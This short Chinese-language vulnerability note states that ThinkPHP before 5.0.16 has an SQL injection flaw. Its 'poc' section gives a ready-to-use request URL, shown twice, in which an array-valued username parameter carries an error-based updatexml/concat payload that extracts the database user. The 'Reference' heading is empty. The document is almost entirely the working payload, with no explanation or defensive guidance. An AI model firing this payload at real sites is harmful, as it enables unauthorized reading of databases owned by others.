Thinkphp框架 < 5.0.16 存在sql注入
Reference
poc
ip/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
ip/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1